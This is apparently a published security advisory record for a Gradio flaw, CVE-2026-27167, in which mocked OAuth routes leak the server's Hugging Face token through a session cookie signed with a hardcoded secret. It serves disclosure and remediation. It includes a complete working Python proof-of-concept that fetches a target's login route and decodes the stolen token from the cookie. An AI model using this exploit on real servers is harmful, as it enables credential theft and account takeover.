CVE-2026-27167: Gradio Mocked OAuth Login Exposes Server Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h3h8-3v2v-rg7m",
  "modified" : "2026-06-05T17:56:29Z",
  "published" : "2026-03-01T01:00:33Z",
  "aliases" : [ "CVE-2026-27167" ],
  "summary" : "Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret",
  "details" : "## Summary\n\nGradio applications running outside of Hugging Face Spaces automatically enable \"mocked\" OAuth routes when OAuth components (e.g. `gr.LoginButton`) are used. When a user visits `/login/huggingface`, the server retrieves its own Hugging Face access token via `huggingface_hub.get_token()` and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string `\"-v4\"`, making the payload trivially decodable.\n\n## Affected Component\n\n`gradio/oauth.py` — functions `attach_oauth()`, `_add_mocked_oauth_routes()`, and `_get_mocked_oauth_info()`.\n\n## Root Cause Analysis\n\n### 1. Real token injected into every visitor's session\n\nWhen Gradio detects it is **not** running inside a Hugging Face Space (`get_space() is None`), it registers mocked OAuth routes via `_add_mocked_oauth_routes()` (line 44).\n\nThe function `_get_mocked_oauth_info()` (line 307) calls `huggingface_hub.get_token()` to retrieve the **real** HF access token configured on the host machine (via `HF_TOKEN` environment variable or `huggingface-cli login`). This token is stored in a dict that is then injected into the session of **any visitor** who hits `/login/callback` (line 183):\n\n```python\nrequest.session[\"oauth_info\"] = mocked_oauth_info\n```\n\nThe `mocked_oauth_info` dict contains the real token at key `access_token` (line 329):\n\n```python\nreturn {\n    \"access_token\": token,  # <-- real HF token from server\n    ...\n}\n```\n\n### 2. Hardcoded session signing secret\n\nThe `SessionMiddleware` secret is derived from `OAUTH_CLIENT_SECRET` (line 50):\n\n```python\nsession_secret = (OAUTH_CLIENT_SECRET or \"\") + \"-v4\"\n```\n\nWhen running outside a Space, `OAUTH_CLIENT_SECRET` is not set, so the secret becomes the **constant string `\"-v4\"`**, hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature.\n\nIn practice, Starlette's `SessionMiddleware` stores the session data as **plaintext base64** in the cookie — the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload.\n\n## Attack Scenario\n\n### Prerequisites\n\n- A Gradio app using OAuth components (`gr.LoginButton`, `gr.OAuthProfile`, etc.)\n- The app is network-accessible (e.g. `server_name=\"0.0.0.0\"`, `share=True`, port forwarding, etc.)\n- The host machine has a Hugging Face token configured\n- `OAUTH_CLIENT_SECRET` is **not** set (default outside of Spaces)\n\n### Steps\n\n1. Attacker sends a GET request to `http://<target>:7860/login/huggingface`\n2. The server responds with a 307 redirect to `/login/callback`\n3. The attacker follows the redirect; the server sets a `session` cookie containing the real HF token\n4. The attacker base64-decodes the cookie payload (everything before the first `.`) to extract the `access_token`\n\n\n## Minimal Vulnerable Application\n\n```python\nimport gradio as gr\nfrom huggingface_hub import login\n\nlogin(token=\"hf_xxx...\")\n\ndef hello(profile: gr.OAuthProfile | None) -> str:\n    if profile is None:\n        return \"Not logged in.\"\n    return f\"Hello {profile.name}\"\n\nwith gr.Blocks() as demo:\n    gr.LoginButton()\n    gr.Markdown().attach_load_event(hello, None)\n\ndemo.launch(server_name=\"0.0.0.0\")\n\n```\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPOC: Gradio mocked OAuth leaks server's HF token via session + weak secret\nUsage: python exploit.py --target http://victim:7860\n       python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080\n\"\"\"\nimport argparse\nimport base64\nimport json\nimport sys\nimport requests\n\n\ndef main():\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:7860\")\n    ap.add_argument(\"--proxy\", default=None, help=\"HTTP proxy, e.g. http://127.0.0.1:8080\")\n    args = ap.parse_args()\n\n    base = args.target.rstrip(\"/\")\n    proxies = {\"http\": args.proxy, \"https\": args.proxy} if args.proxy else None\n\n    # 1. Trigger mocked OAuth flow — server injects its own HF token into our session\n    s = requests.Session()\n    s.get(f\"{base}/login/huggingface\", allow_redirects=True, verify=False, proxies=proxies)\n\n    cookie = s.cookies.get(\"session\")\n    if not cookie:\n        print(\"[-] No session cookie received; target may not be vulnerable.\", file=sys.stderr)\n        sys.exit(1)\n\n    # 2. Decode the cookie payload (base64 before the first \".\")\n    payload_b64 = cookie.split(\".\")[0]\n    payload_b64 += \"=\" * (-len(payload_b64) % 4)  # fix padding\n    data = json.loads(base64.b64decode(payload_b64))\n    token = data.get(\"oauth_info\", {}).get(\"access_token\")\n\n    if token:\n        print(f\"[+] Leaked HF token: {token}\")\n    else:\n        print(\"[-] No access_token found in session.\", file=sys.stderr)\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "gradio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.16.0"
      }, {
        "fixed" : "6.6.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gradio-app/gradio/security/advisories/GHSA-h3h8-3v2v-rg7m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27167"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gradio-app/gradio/commit/dfee0da06d0aa94b3c2684131e7898d5d5c1911e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gradio-app/gradio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gradio-app/gradio/releases/tag/gradio@6.6.0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2026-63.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-522", "CWE-798" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-01T01:00:33Z",
    "nvd_published_at" : "2026-02-27T22:16:22Z"
  }
}